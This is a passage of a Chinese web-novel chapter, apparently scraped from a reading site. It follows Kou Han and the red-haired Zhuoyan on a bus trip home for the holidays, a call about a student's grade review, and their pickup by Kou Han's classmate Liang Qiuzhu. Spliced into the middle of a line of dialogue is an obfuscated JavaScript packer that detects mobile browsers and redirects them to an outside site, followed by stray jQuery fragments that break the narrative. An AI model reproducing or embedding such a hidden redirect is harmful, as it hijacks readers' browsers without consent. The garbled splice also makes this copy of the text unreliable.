寇寒愣了一瞬，问道：“怎么突然这么说，你从哪里得出的结论？”


    灼焱吸溜了下鼻子，“你刚刚电话里不是跟奶奶说要带「朋友」回家吗。你们都发展到可以睡在一起的地步了，但我却连见都没见过他。表哥，你是不是想赶我走了？”


    听明白怎么回事之后，寇寒看着灼焱眼神里毫不掩饰的委屈和泪意，心头又暖又痒。


    “没有。”他微微垫起脚，做出了一直以来早就想做的事情——


    揉了揉灼焱的发顶，微微笑着说道：“我要带回家的「朋友」就是你。”


    灼焱的眼睛瞬间瞪大了，喜悦与激动在他脸上欢脱地下着棋。


    他难以自持地一把抱起面前的寇寒，连转三圈，口中高呼：“真的吗！寇老师，真的吗！我好高兴！我太高兴了！”


    .


    那日的亲吻实践活动，因为接连被打断，最后不了了之。


    寇寒想着来日方长，便先准备回夏谷的事情。灼焱没有身份证，他只好买了两张长途汽车票，带着灼焱踏上了回老家的路。


    十几个小时的车程，颠簸又熬人。


    好在灼焱是个不挑时间、不挑地点的乐观派。一路上大惊小怪，叽叽喳喳，但手上不闲着，又是给寇寒递水，又是帮寇寒盖衣服，将他照顾得无微不至，倒让他觉得比坐高铁回去还舒服。


    长途汽车在服务站停了下来，司机让乘客们下车活动活动。


    寇寒从洗手间出来，看到灼焱在另一侧等他，手里举着两根烤肠。


    “表哥，刚刚我看大家都在排队买这个，就也买了两根，来你尝尝看。”他说着递给寇寒一根。


    寇寒坐车太久，有点头晕，但见他一双眼睛闪着期待的光，实在狠不下心来拒绝，便接过咬了一口。


    “怎么样？好吃吗？”灼焱也咬了一口自己的，“还真不错诶！外焦里嫩，好吃，好吃！”


    寇寒点了点头，勉强咽下嘴里的烤肠，却再也咬不下第二口了。


    灼焱两三口吃完自己的烤肠，见寇寒一直不吃，奇道：“表哥，你觉得不好吃吗？怎么不吃？”


    寇寒只好说自己可能有点晕车，没什么胃口。


    灼焱一听，脸上嬉笑的神态立刻紧张起来，不等寇寒再说什么，连忙去车上拿水下来，把瓶子拧开递给他。“表哥，你喝点水，要是不舒服咱们干脆等下一趟车再上好了。”


    寇寒没力气跟他解释春运的车票有多难买，抿了两口水，感觉好多了。


    休息了没一会儿，司机就拿喇叭叫大家上车。


    寇寒往垃圾桶那边走，准备丢掉手里咬了一口的烤肠，却听到灼焱在身后喊着：“等一下，表哥！”


    他转过身，只见灼焱已经来到跟前，把他准备丢进垃圾桶的烤肠抢了过去。


    “别浪费啊表哥，你不想吃就给我吃吧。”灼焱说着，笑嘻嘻地看着他，两口就把剩下的烤肠都吃掉了。


    寇寒有些懵地看着他，脸色不可察觉地微红起来。


    他和灼焱虽然同在一个屋檐下这么久，但还真的没有共用过什么东西。除了一开始他借给灼焱穿的睡衣，别的东西都是单独准备了一份给他。


    像这样同吃一根烤肠的亲密，他还是生平第一次经历。


    寇寒有些无措地转过脸去，低声说道：“上车吧。”


    两人回到车上，随着汽车的启动，又开始了新的一轮颠簸。


    寇寒坐在里侧的位子上，阖着眼。


    灼焱则一直望着窗外，目光随着窗外闪烁的灯光勾勒着寇寒完美的侧脸，心中升起一种难以名状的感觉。


    他从来没有对什么感到不舍过，但在寇寒说要吻他之后，他越来越清晰地有了这种感觉。


    他记得师父说过，因塔瓦塞泽所拉的密林深处，寒潭之中，有个魔法阵法，只要有国王的法印文牒，就可以利用这个阵法去到人类世界。


    他下定了决心，眼神飘到寇寒紧抿着的嘴唇上。正想说点什么，就听到寇寒的手机震动起来。


    寇寒拿起手机，看到来电，眉头紧皱，下一秒便点了接听。


    “请问是寇寒寇老师吗？”灼焱听到电话那头一个中年女人的声音问道。


    “我是。”


    “寇老师好，我是教务处的李莹。刚刚教务系统里收到经管院李博文的申请，要复核公选课《概率论》的期末成绩。具体情况我这边已经发送到您的邮箱里了，怕您假期没留意邮箱，所以跟您说明一下。”


    “请您48小时之内登陆教务系统，按要求上传证明文件，完成成绩复核。如有问题，请随时联络。感谢您的理解。”


    灼焱看到寇寒明显愣了一瞬，然后才听到他略低的声音：“好，谢谢。”


    “不客气，寇老师。再见。”


    “再见。”寇寒挂了电话，紧锁的眉头丝毫没有放松。


    “怎么了，表哥？”灼焱见他表情严肃，也紧张起来。“是不是学校里有什么事情？”


    “没什么大事。有个学生觉得自己的期末成绩有问题，申请成绩复核。”


    “那你要回学校把他的试卷找出来检查吗？”


    寇寒摇摇头，道：“这倒不用。之前怕会出现这种情况，我已经把所有学生的试卷扫描存档了，等到家上传一下就行。”


    “那就好那就好。”灼焱放下心来，咧嘴笑道：“表哥你这工作做得还真是充分，怎么什么情况都想到了！”


    “从概率上讲，会有学生申请复核成绩的可能，去年许谷雷也遇到过，还不止一个。所以肯定要提前做好准备。”


    灼焱点了点头：“那你抓紧时间睡一会儿吧，等到家了，还有的忙呢。”


    寇寒听话地闭上眼，心里却有点纳闷。


    他对这个李博文的印象很深。


    每次上课他都会坐在第一排，认真听讲记笔记。上次台风突袭全校断电的时候，他和灼焱还在厕所里碰到过这孩子。


    他的那份试卷寇寒有印象，成绩绝对没有任何问题。而且虽然他最后的成绩没有达到85分的优秀档，但对于《概率论》这门选修课来说，也已经是在前30%了。


    一般拿到这种分数，学生是不会来申请复核的。不知道这个李博文为什么要做这个申请……


    灼焱见寇寒阖着眼，但眼皮一直在动，知道他没睡着。但他不想打扰他，只在心里想象着过两天见到寇寒奶奶该说些什么，才能给奶奶留下个好印象。


    想着想着，肩头突然一沉，寇寒身上特有的一种凛冽的清香飘了过来。


    灼焱心中一荡，暗暗挺了挺后背，僵硬地不敢再动。


    他维持着这个僵硬的姿势，直到汽车到站……


    .


    下了车，天已经黑了。


    灼焱拎着两个人的行李，跟在寇寒旁边，朝着大路张望。


    “表哥，来


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14856125|158598||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    接咱们的人长什么样啊？”


    “短头发，挺瘦的一个姑娘。”寇寒回道。


    灼焱一愣，他没想到竟然是个女生来接他们。“是……是你亲戚家的孩子吗？”


    他也不知道自己为什么突然有些在意，等他反应过来的时候，话已经问出口了。


    “不是，是我高中的同学。她家离我家很近，奶奶和她父母很熟。她一直留在夏谷，听说是在做配音演员，时间比较自由。每次过年很早就回来了，所以奶奶都是托她来接我。我们村子里没有公共交通可以到，也不好打车。”


    寇寒的语速比平时快了许多，话也密了许多。话一说完，他自己都愣了一下，才意识到根本没必要解释得这么详细。


    灼焱明显也察觉到了，愣愣地看着他。


    两人之间的氛围突然变得古怪起来。


    好在没一会儿就有个瘦瘦小小的姑娘朝着他们快步走过来，一边走还一边挥着手。


    “寇寒！”她走到两人面前，亲切地笑着。“一路上辛苦啦，怎么样，要不要先去吃点东西？”


    寇寒摇了摇头，“今年也麻烦你了。咱们直接走吧，路上我们吃了点。”他指着灼焱介绍道：“这是灼焱，我在平央认识的朋友。”然后他又冲着灼焱说道：“这是梁秋竹，我高中的同学。”


    “你好，”梁秋竹冲着灼焱和善地笑了下，调侃道：“我认识寇寒这么多年，这还是他第一次带朋友回来。之前奶奶跟我提起来的时候我还在想，会是怎么样的人呢。”


    她看了眼灼焱被风吹得杂乱的红发，笑道：“你和我想象的不太一样，但确实挺特别的。很高兴认识你。”


    她的声音很好听，带着一种让人安心的语调。灼焱很喜欢。


    “梁姐姐好！”他咧嘴笑着，冲对方鞠了一躬。


    左肩上单肩背着的包因为他的动作滑落下来，寇寒连忙一把接过，小声说道：“我拿吧。”


    灼焱又一把抢过去，急道：“我背我背，还是我背吧。你坐了一天的车，身体肯定吃不消。我来我来！”他说着，也不给寇寒拒绝的机会，右手一伸，双肩背好。


    背完，他又冲着寇寒咧嘴笑了笑。


    寇寒见他后背的衣服被书包勒出了一个大褶，便道：“别动。”


    灼焱立刻一动不动地呆在原地。


    寇寒便伸手把他背后的衣服拉平了。整理好之后，他转过身来一看，梁秋竹正一脸玩味地看着他俩。


    “怎么了？”


    “没什么。”梁秋竹一笑，指着旁边的大路说道：“咱们走吧，我的车就在那边。”


    .


    梁秋竹的车是辆三开门的小车，去后座需要把副驾驶的椅子掰下来爬进去。


    灼焱自告奋勇地爬了过去，坐上去才发现后面空间太小，他的腿根本没地方放。他只好蜷缩着抱起双腿，整个人弓起，脑门顶着副驾驶的椅背。


    条件虽然艰苦，但他挺满意。


    因为这样离寇寒极近。感觉只要他一张嘴，就能舔到寇寒侧面的碎发。


    寇寒安静地坐在副驾驶，偶尔和梁秋竹聊上两句，语调清冷，表情淡淡。


    但只有他自己知道，他是怎样用了全身的自制力，才克制住自己不要侧过脸去——


    灼焱热烈的呼气打在他的脖颈后侧，仿佛一团带着火焰的羽毛，自脖颈而下，划过锁骨、划过前胸，最后在心头激起一阵又一阵的战栗。